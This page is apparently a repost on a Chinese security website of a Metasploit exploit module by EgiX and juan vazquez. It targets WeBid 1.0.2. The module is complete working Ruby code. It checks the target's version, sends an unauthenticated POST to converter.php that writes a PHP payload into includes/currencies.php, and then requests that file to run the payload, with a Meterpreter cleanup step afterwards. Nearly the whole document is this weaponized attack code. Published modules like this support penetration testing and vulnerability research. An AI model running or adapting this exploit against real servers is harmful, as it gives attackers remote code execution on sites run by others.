首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WeBid converter.php Remote PHP Code Injection
来源:http://www.metasploit.com 作者:EgiX 发布时间:2012-05-28  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WeBid converter.php Remote PHP Code Injection',
   'Description'    => %q{
     This module exploits a vulnerability found in WeBid version 1.0.2.
    By abusing the converter.php file, a malicious user can inject PHP code
    in the includes/currencies.php script without any authentication, which
    results in arbitrary code execution.
   },
   'Author'         => [
    'EgiX', # Vulnerability Discovery, PoC
    'juan vazquez' # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'OSVDB', '73609' ],
     [ 'EDB', '17487' ]
    ],
   'Version'        => '$Revision: $',
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
    },
   'DisclosureDate' => 'Jul 05 2011',
   'Targets'        =>
    [
     [ 'WeBid 1.0.2 / Ubuntu', {} ]
    ],
   'DefaultTarget' => 0
   ))

   register_options(
    [
     OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
    ], self.class
   )

 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => uri + "docs/changes.txt"
  })

  if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
   return Exploit::CheckCode::Appears
  end

  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => uri + "converter.php"
  })

  if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
   return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Safe

 end

 def on_new_session(client)

  if client.type != "meterpreter"
   print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
   print_error("The currencies.php won't be restored automatically.")
   return
  end

  # stdapi must be loaded before we can use fs.file
  client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

  # Original currencies.php file
  currencies_php = <<-eof
   <?php
   $conversionarray[] = '1265375103';
   $conversionarray[] = array(
    array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
   );
   ?>
  eof
  currencies_php = currencies_php.gsub(/^\t\t\t/, '')

  pwd = client.fs.dir.pwd
  print_status("Searching currencies.php file from #{pwd}")

  res = client.fs.file.search(nil, "currencies.php", true, -1)
  res.each do |hit|
   filename = "#{hit['path']}/#{hit['name']}"
   print_status("Restoring #{filename}")
   client.fs.file.rm(filename)
   fd = client.fs.file.new(filename, "wb")
   fd.write(currencies_php)
   fd.close
  end

  print_status("Cleanup finished")

 end

 def exploit

  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  peer = "#{rhost}:#{rport}"

  stub = "\0'));#{payload.encoded}?>"

  print_status("#{peer} - Injecting the PHP payload")

  response = send_request_cgi({
   'uri' => uri + "converter.php",
   'method' => "POST",
   'vars_post' => {
    "action" => "convert",
    "from" => "USD",
    "to" => stub
   }
  })

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
   return
  end

  print_status("#{peer} - Executing the PHP payload")

  timeout = 0.01
  response = send_request_cgi({
    'uri' => uri + "includes/currencies.php",
    'method' => "GET",
    'headers' => {
      'Connection' => "close",
     }
    }, timeout)

  if response and response.code != 200
   print_error("Server returned non-200 status code (#{response.code})")
  end

  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·QuickShare File Share 1.2.1 Di
·b2ePMS 1.0 multiple SQLi Vulne
·Symantec Web Gateway 5.0.2 Rem
·iOS 5.1.1 Safari Browser Denia
·RabidHamster R4 Log Entry spri
·LibreOffice 3.5.3 .rtf FileOpe
·bsnes v0.87 Local Denial Of Se
·Symantec Web Gateway 5.0.2.8 C
·appRain CMF Arbitrary PHP File
·LibreOffice 3.5.3 .rtf FileOpe
·OpenOffice OLE Importer Docume
·WinRadius 2009 Denial Of Servi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved